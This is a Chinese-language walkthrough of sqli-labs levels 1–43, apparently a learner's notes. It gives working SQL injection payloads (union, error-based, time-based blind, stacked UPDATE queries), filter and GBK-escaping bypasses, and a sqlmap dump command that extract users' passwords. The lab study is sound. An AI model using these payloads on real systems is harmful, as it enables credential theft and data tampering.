第一题
根据要求在url地址栏传入id
判断注入类型
这里判断为字符型闭合方式为‘
判断回显位为三位
这里id=-1的用意是使前面的sql查询语句没有回显,从而回显后方union语句
得到库名
?id=-1' union select null,null,database()--+
databse()查询表名
得到表名
?id=-1' union select null,null,group_concat(table_name) from information_schema.tables where table_schema=database()--+
group_concat()为输出格式 information_scheam这是个数据库中的表存放着数据库中各个表的信息
where限制返回的信息是列为table_schema=database()的信息
得到列名
?id=-1' union select null,null,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
同上
最后就是通过得到的这些信息爆出信息
?id=-1' union select null,null,group_concat(username,password) from security.users--+
from后面从security数据库中返回users表中的数据
第二题
和第一题步骤保持一致先判断注入类型,闭合方式,回显大小,回显位置
这里使用'")判断可能为数值型注入,也就不需要考虑闭合方式,回显大小为3位,位置后两位
数据库名称:?id=-1 union select null,null,database()--+
表名:?id=-1 union select null,null,group_concat(table_name) from information_schema.tables where table_schema=database()--+
列名:?id=-1 union select null,null,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
?id=-1 union select null,null,group_concat(username,password) from security.users--+
第三题
同上
这里可以看到--+后面语句多了')这个就可能闭合方式
和前两题没有区别改变闭合方式就可以
?id=-1') union select null,null,group_concat(username,password) from security.users--+
第四题
万用‘“)测试闭合方式为")其他和上一题一样使用union联合注入
?id=-1”) union select null,null,group_concat(username,password) from security.users--+
第五题
这里上面都不一样,这里测试闭合方式为'但是没有回显,但是有报错回显这里使用报错注入
报错注入适用于,没有回显但是有数据库的报错回显的情况下,这里使用extractvalue报错
?id=1' and extractvalue(1,concat(0x7e,(select database())))--+
引起报错的是0x7e这里也就是~符号,这里回显会执行后面的select语句同时以报错的方式回显
表名:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
表列:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))--+
结果:?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))--+
第六题
判断闭合方式为"这里和上一题一样没有回显但是报错有回显同样使用报错注入
表名:?id=1“ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
表列:?id=1” and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))--+
结果:?id=1“ and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))--+
第七题
这里提示使用outfile,判断闭合方式为'))
select 1,2,database() into outfile "C:\\Users\\19871\\Desktop\\phpStudy_64\\WWW\\sqli-labs-master\\Less-7\\test.txt"--+
红色标记的地方为靶机该题的保存位置其他和联合注入语句没有区别
?id=1')) union select 1,2,group_concat(username,password) from security.users into outfile "文件位置"--+
第八题
使用万用测试闭合方式发现闭合方式为'这里没有明显的回显排除union注入,也无报错注入,这里使用盲注,使用时间盲注测试
?id=1' and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))--+
这里返回的时间趋近于5秒而注入语句如果databse()所查到的数据库名称第一个字符如果ascii大于0则执行sleep(5)所以这个返回延迟5秒说明存在时间注入
盲注的手动注入耗时极大,所以这里推荐使用sqlmap辅助注入
真是太太太太方便了,这里语句为
python sqlmap.py -u 127.0.0.1/sqli-labs-master/Less-8/?id=1'--+ -D security -T users --dump
第九题
和上一题同理只是改变了闭合方式这里就不再复述
?id=1' and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))--+
第十题
这里和前面的盲注也是一样使用时间盲注,区别在于判断闭合方式
通过查看源码得到闭合方式为"
?id=1" and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))--+
第十一题
这里是post注入,建议先分析源码
这里推荐在password注入,因为会判断密码和账户的正确性,正确才会回显,如果这里在username注入则会比较麻烦
经过测试这里
回显位为2位
-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
得到数据库名称,和当前表名称
-1' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
得到表列
-1' union select database(),group_concat(username,password) from security.users#
得到数据
第十二题
这里也是直接看源码进行分析
改变闭合方式其他的和第十一题没有区别
-1") union select database(),group_concat(username,password) from security.users#
第十三题
-1') union select database(),group_concat(username,password) from security.users#
发现没有回显了
这里尝试报错注入
-1') and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#
第十四题
同样没有回显,使用报错注入
-1" and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#
第十五题
这里和上面的有些不同,这里报错没有回显了,所以在这里采用post盲注
admin' and if(ascii(concat(database()))>0,sleep(5),sleep(10))#
存在注入后续可以使用sqlmap辅助注入,盲注工作量太大了
第十六题
这里测试也是没有回显使用盲注,查看源码发现闭合方式为")
使用语句admin“) and if(ascii(concat(database()))>0,sleep(5),sleep(10))#
第十七题
观察源码发现uname被过滤所以不可能在这里注入
这里uname被过滤了直接在passwd注入
这里看到注入语句前面是updata采用报错注入
' or extractvalue(1,concat(0x7e,(database())))#
最后爆出数据表的时候会报一个错误
这里是数据库做了一个限制不允许读users表可以使用别名绕过
' or extractvalue(1,(select concat(0x7e,(select group_concat(username,password) from (select username,password from users)a))))#
将users表中的数据username和password存到一个别名为a的表中,这个时候就绕过了
第十八题
这里观察源码发现username和passowrd都被过滤但是这里有两个uagent和ip没有被过滤,和上一题一样使用报错注入
1',1,extractvalue(1,concat(0x7e,(select database()),0x7e)))#
修改红色区域可以得到数据表,这里需要注意如果是闭合整个values后面记得在#前面多加一个)两个小时血的教训
第十九题
和前一道题没什么区别注意一下最后加一个)这个抓包注入语句写在referer
第二十题
这里看源代码发现可以在cookie注入并且这里并没有对cookie进行任何过滤
先用bp抓包看一下
post包里面没有发现cookie接着抓
构造playload
admin' and extractvalue(1,concat(0x7e,(select group_concat(username,password) from security.users)))#
第二十一题
这里看源码
可以看到和上一题没什么区别改变playload的闭合就可以
然后就会遇到这样的问题
直接翻车,这里看到报错是一些乱码考虑可能是进行编码了,这里查看源码
第二十二题
这里查看源码发现和前一题基本相同修改闭合方式就可以
" and extractvalue(1,concat(0x7e,(select database())))#
同样需要base64编码然后注入
第二十三题
这里做了一个过滤将--闭合方式和#替换为空,这里preg_replace替换了所有满足条件
有两种方式绕过一种是闭合后面的语句使得前面的语句得以执行,另外一种前提条件比较多使用%00进行截断,这里不做测试了需要满足PHP<5.3.29,且GPC关闭)
这里使用闭合后方的',因为这里'id'前的'已经被闭合
?id=1' and extractvalue(1,concat(0x7e,(database()))) and ''='
第二十四题
看到源码直接愣住了
这里血的教训,我从头分析恶意用户是怎么从头到尾的
首先就是
然后
最后
周五打的这道题,看了很多大佬的文章,但是都没有从头分析的,都是从最后就开始将这里注入然后构造语句,但是我是个菜鸟,我会从头慢慢来,因为我菜,(这里理解花了很长时间,因为我不明白如果#一开始就写进去这里前面的也给注释了那么在创建的时候就会检测重复的username从而gg),如果解答了您的疑惑麻烦点个赞吧
ps:php中弃用不代表不能用!!!!!!!!
第二十五题
这里看页面应该是过滤了and和or
这里源码可以看出用到是preg_repalce进行的过滤,这个php函数有一个问题,只是删除一次,所以如果playload构造成anandd,这里会删除红色的and从而保留黑色的绕过,其他的注入语句一样没有变,可以使用union,报错,盲注等
?id=1' anandd extractvalue(1,concat(0x7e,(select group_concat(username,passwoorrd) from security.users)))#
第二十五a题
这里看源码和25题一样只是改变里闭合方式
这里是数值型注入
第二十六题
这里看源码过滤了不少
但是和之前一样存在通病,没有循环过滤检查,这里and和or也是可以使用双写绕过,但是空格没法绕过,这里采用括号法用括号去间隔语句,闭合方式采用%00截断,即将语句后部分的语句全部删去
?id=1'anandd(select(extractvalue(1,concat(0x7e,(select(group_concat(username,passwoorrd))from(security.users))))));%00
第二十六a题
这里测试为盲注
过滤方式没有改变还是利用()来绕过空格过滤,双写绕过and,or
?id=1')aandnd(if(ascii(substr(database(),1,1))>15,sleep(5),sleep(10)));%00
第二十七题
这里过滤了空格,闭合,和union,select,这里观察还是使用的preg_replace函数这里可以使用双写绕过
?id=1'and(extractvalue(1,concat(0x7e,(selselselectectect(database())))));%00
这里大小写的过滤也不严格,同样可以绕过这里就不演示了
第二十七a题
这里和二十七题的过滤代码一样,使用盲注
?id=1"and(if(ascii(database())>0,sleep(5),sleep(10)));%00
第二十八题
这里看源码
过滤了union select空格,闭合,这里使用报错注入,没有回显,使用union注入因为
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in E:\phpStudy_64\WWW\sqli-labs-master\Less-28\index.php on line 36
这个错误的原因所以使用盲注
?id=1')and(if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10)));%00
第二十八a题
这一题和二十八题一样,使用盲注语句一样
?id=1')and(if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10)));%00
第二十九题
源码看这一题没有任何过滤,确实没有
?id=-1' union select 1,2,group_concat(username,password) from security.users--+
第三十题
1" union select 1,2,group_concat(username,password) from security.users--+
第三十一题
?id=-1") union select 1,2,group_concat(username,password) from security.users--+
第三十二题
这里使用下面这段语句会发现单引号被过滤了,观察源码发现
?id=-1‘ union select 1,2,group_concat(username,password) from security.users--+
mysql_query("SET NAMES gbk");
这句为开启gbk编码,这就有绕过的方法了,可以使用%df与后面的\的gbk编码进行组合,
\的gbk编码为DF5c组合后将变成mysql无法识别的中文字符从而达到绕过
第三十三题
这里可以看到成功过闭合了
?id=-1‘ union select 1,2,group_concat(username,password) from security.users--+
第三十四题
这里观察发现为post注入但是也是设置了gbk编码所以也是可以用%df绕过反斜杠,但是这里写入可以发现并没有生效
遇事不决抓个包先
这里改掉变成%df就可以了
之后的操作还是一样
第三十五题
看源码发现是gbk编码格式想到之前的题目可能还是%df绕过,但是这里是数值型所以不需要闭合
?id=-1 union select 1,2,group_concat(username,password) from security.users--+
第三十六题
这里和上面题目应该重复了,同样是gbk编码单引号闭合
第三十七题
和之前的post提交gbk绕过一样
这里唯一的区别在于这里回显位是2位
admin%df' union select 1,group_concat(username,password) from security.users#
第三十八题
这里到了第三阶段这一阶段基本上是围绕着堆叠注入展开的,
堆叠注入就是在一句sql结束的时候在后面再写上一句
触发条件:
- 目标存在sql注入漏洞
- 目标未对";"号进行过滤
- 目标中间层查询数据库信息时可同时执行多条sql语句
堆叠注入可以对对方数据库执行sql命令使内部数据发生改变或者,植入后门代码
这一题和之前一样查看闭合方式,判断回显之后闭合语句;,在sql语句之后再次加入注入语句为
?id=1' union select 1,2,3; update users set password="hacker",username="hacker" where id=1--+
这时观察发现数据库的值发生修改
第三十九题
这里判断为数值型注入无需判断闭合方式
?id=1 union select 1,2,3;update users set password=123,username=123 where id=1--+
第四十题
这里同样判断 ') 为闭合
?id=1' ) union select 1,2,3;update users set password=321,username=321 where id=1--+
第四十一题
这里判断为数值型注入
?id=1 union select 1,2,3;update users set password=321,username=321 where id=1--+
第四十二题
这一题似曾相识,好像是第二阶段的二次注入,这里有点不一样,抓个包发现在登录的时候会加载一个login.php的文件,这个文件中有一段
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
这里就存在注入,和之前一样在使用堆叠注入对数据库中存储的值进行更改
这里再bp中写入注入语句,会发现回显没有报错,再浏览器中测试写入的账密
成功
第四十三题
啧~,这题和上一题好像,看源码发现只是改变里闭合方式其他一摸一样,同样的操作做一遍
菜鸟一只,有错麻烦指出谢谢!